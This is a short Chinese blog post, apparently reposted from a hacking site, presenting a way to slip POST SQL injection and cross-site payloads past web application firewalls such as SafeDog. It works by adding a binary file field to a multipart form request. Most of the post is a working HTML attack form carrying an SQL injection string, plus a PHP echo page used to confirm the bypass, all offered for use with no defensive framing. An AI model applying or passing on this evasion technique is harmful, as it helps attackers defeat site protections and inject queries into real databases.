轻松绕各种WAF的POST注入、跨站防御(比如安全狗)-白红宇

轻松绕各种WAF的POST注入、跨站防御(比如安全狗)

阅读量：5940 次

发布时间：2019-06-19

本文共 805 字，大约阅读时间需要 2 分钟。

XXX之前有提过multipart请求绕过各种WAF方式：360网站宝/宝/加速乐及其他类似产品防护绕过缺陷之一，貌似没引起多少人关注。今天发现安全狗变聪明了以前那套他不吃了，不过随手给狗提交了一个二进制的文件域就XXOO了。注意一定要是二进制文件，图片、压缩包什么的都行。

构建如下HTML表单：

<!DOCTYPE html>

 <html>
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 <title>yzmm - p2j.cn</title>
 </head>
 <body>
 <form action="http://.cc/index.php" method="POST" enctype="multipart/form-data">
 File:<input type="file" name="file" /><br/>
 ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/>
 <input type="submit" value="提交" />
 </form>
 </body>
 </html>

index.php:

<?php

 echo "POST-ID:".$_POST['id']."<br/>GET-ID:".$_GET['id'];
 ?>

提交带二进制文件的请求：

成功绕过。

本站内容均为原创，转载请务必保留署名与链接！

轻松绕各种WAF的POST注入、跨站防御(比如安全狗):http://www.webshell.cc/4464.html

转载于:https://www.cnblogs.com/develop/p/3884872.html

你可能感兴趣的文章